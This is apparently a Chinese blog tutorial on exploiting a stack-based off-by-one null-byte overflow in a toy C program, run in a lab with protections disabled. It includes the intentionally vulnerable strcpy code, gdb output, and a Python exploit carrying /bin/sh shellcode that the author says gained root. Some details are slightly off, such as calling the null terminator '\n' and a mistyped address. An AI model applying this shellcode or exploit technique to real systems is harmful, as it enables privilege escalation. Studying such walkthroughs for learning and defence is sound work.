Off-By-One 漏洞(基于栈)

字符串末尾的Null造成Off-By-One 漏洞

Posted by gxkyrftx on February 26, 2019

0.前言

当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。 简单地说就是因为字符串最后有一个不可见字符“\n”,会对缓冲区外的栈中的数据的最后一个字节覆盖,无论其中数据为任何值,最后一个字节都将被复改为00,举个例子,如果buffer之上的数据为一个地址0xbffff022,这个漏洞将会将其覆盖为0xbffff000。

1.环境及工具

虚拟机环境:Ubuntu 12.04 Desktop(x86) 工具:gdb-peda

2.漏洞程序的成因分析

2.1 漏洞代码

一个简单的含有栈溢出漏洞的代码如下:

//vuln.c
//
#include <stdio.h>

#include <string.h>

void foo(char* arg);
void bar(char* arg);

void foo(char* arg) {
 bar(arg); 
}

void bar(char* arg) {
 char buf[256];
 strcpy(buf, arg);
}

int main(int argc, char *argv[]) {
 if(strlen(argv[1])>256) { 
  printf("Attempted Buffer Overflow\n");
  fflush(stdout);
  return -1;
 }
 foo(argv[1]);
 return 0;
}

漏洞代码的位置为:Bar函数中的strcpy(buf, arg)缓冲区长度为256字节,使用256字节的填充可以导致ebp的低字节被覆盖。

2.2 调试

首先编译链接源代码,使之成为可执行文件。(先关闭栈保护,使栈变得可写,这个漏洞才能生效;关闭aslr地址随机化关闭),修改可执行文件的用户组为root,修改权限等。

然后开始调试,首先发送一系列256的“A”来测试,观察EBP是否覆盖,从而可能覆盖返回地址。

1

查看程序崩溃时的状态,发现没有被成功覆盖

经过查阅资料,最终发现问题的所在。在buffer处下断点调试,结果如下:

2

发现堆栈位置是在0xbffff0f8-0xbffff1f8之间,ebp中存放的地址为0xbffff204,若要用A覆盖的话,返回的地址为0xbffff200,这个位置不再在栈中,因此没有覆盖。经过调整程序结构,加入一些其他代码,最终调整成功。

直接使用gdb查看main函数的汇编代码

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048497 <+0>: push   ebp
   0x08048498 <+1>: mov    ebp,esp
   0x0804849a <+3>: push   edi
   0x0804849b <+4>: sub    esp,0x8
   0x0804849e <+7>: mov    eax,DWORD PTR [ebp+0xc]
   0x080484a1 <+10>:    add    eax,0x4
   0x080484a4 <+13>:    mov    eax,DWORD PTR [eax]
   0x080484a6 <+15>:    mov    DWORD PTR [ebp-0x8],0xffffffff
   0x080484ad <+22>:    mov    edx,eax
   0x080484af <+24>:    mov    eax,0x0
   0x080484b4 <+29>:    mov    ecx,DWORD PTR [ebp-0x8]
   0x080484b7 <+32>:    mov    edi,edx
   0x080484b9 <+34>:    repnz scas al,BYTE PTR es:[edi]
   0x080484bb <+36>:    mov    eax,ecx
   0x080484bd <+38>:    not    eax
   0x080484bf <+40>:    sub    eax,0x1
   0x080484c2 <+43>:    cmp    eax,0x100
   0x080484c7 <+48>:    jbe    0x80484e9 <main+82>
   0x080484c9 <+50>:    mov    DWORD PTR [esp],0x80485e0
   0x080484d0 <+57>:    call   0x8048380 <puts@plt>
   0x080484d5 <+62>:    mov    eax,ds:0x804a020
   0x080484da <+67>:    mov    DWORD PTR [esp],eax
   0x080484dd <+70>:    call   0x8048360 <fflush@plt>
   0x080484e2 <+75>:    mov    eax,0xffffffff
   0x080484e7 <+80>:    jmp    0x80484fe <main+103>
   0x080484e9 <+82>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080484ec <+85>:    add    eax,0x4
   0x080484ef <+88>:    mov    eax,DWORD PTR [eax]
   0x080484f1 <+90>:    mov    DWORD PTR [esp],eax
   0x080484f4 <+93>:    call   0x8048464 <foo>
   0x080484f9 <+98>:    mov    eax,0x0
   0x080484fe <+103>:   add    esp,0x8
   0x08048501 <+106>:   pop    edi
   0x08048502 <+107>:   pop    ebp
   0x08048503 <+108>:   ret    
End of assembler dump.

2.3 程序整体的栈布局大致如下

地址 指针
  argv  
  argc  
  Return Address  
  调用者的ebp  
  edi  
  Stack Space  
  Stack Space  
  Return Address  
0xbffff234 Main函数的EBP  
  Stack Space  
  Return Address  
0xbffff228 Foo函数的EBP ebp
    buf_end
   
   
0xbffff208 shellcode  
0xbfffff204 Return Address  
0xbffff200 ebp  
   
0xbffff128   buf_start
   
0xbffff120   esp

3.编写exp

构造256字节的缓冲区内容 分析:buf起始0xbffff128,返回的EBP:0xbffff200,return_address:0xbfffff204,把shellcode放到起始位置为0xbffff208的内存空间。 0xbffff204H-0xbffff128H=DCH=220字节,这是第一段空间,从buf开始,到return_address之前,填充为‘A’ 4字节,这是第二段return_address 然后就开始计算,还剩多少空间,256-220-4=32字节,shellcode需要28字节,留给nop和A总共的空间只有4字节然后就开始定shellcode的位置,从205H开始放NOP。我选择208H放shellcode,中间的205H,206H,207H,放3个NOP,208放shellcode,最后只剩一个字节放一个‘A’

地址 buffer 指针
  A* 1  
0xbffff208 scode  
0xbffff205 \x90 * 3  
  ret_addr  
0xbffff128 A*220 buf_start

python代码如下:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
ret_addr = 0xbffff208


def conv(num):
 return struct.pack("<I",num)
buf = "A" * 220
buf += conv(ret_addr)
buf += "\x90" * 3
buf += scode
buf += "A" * 1
print "Calling vulnerable program"
call(["./vuln", buf])

3

可以看到通过执行exp成功获取了系统的root权限。


本文访问量: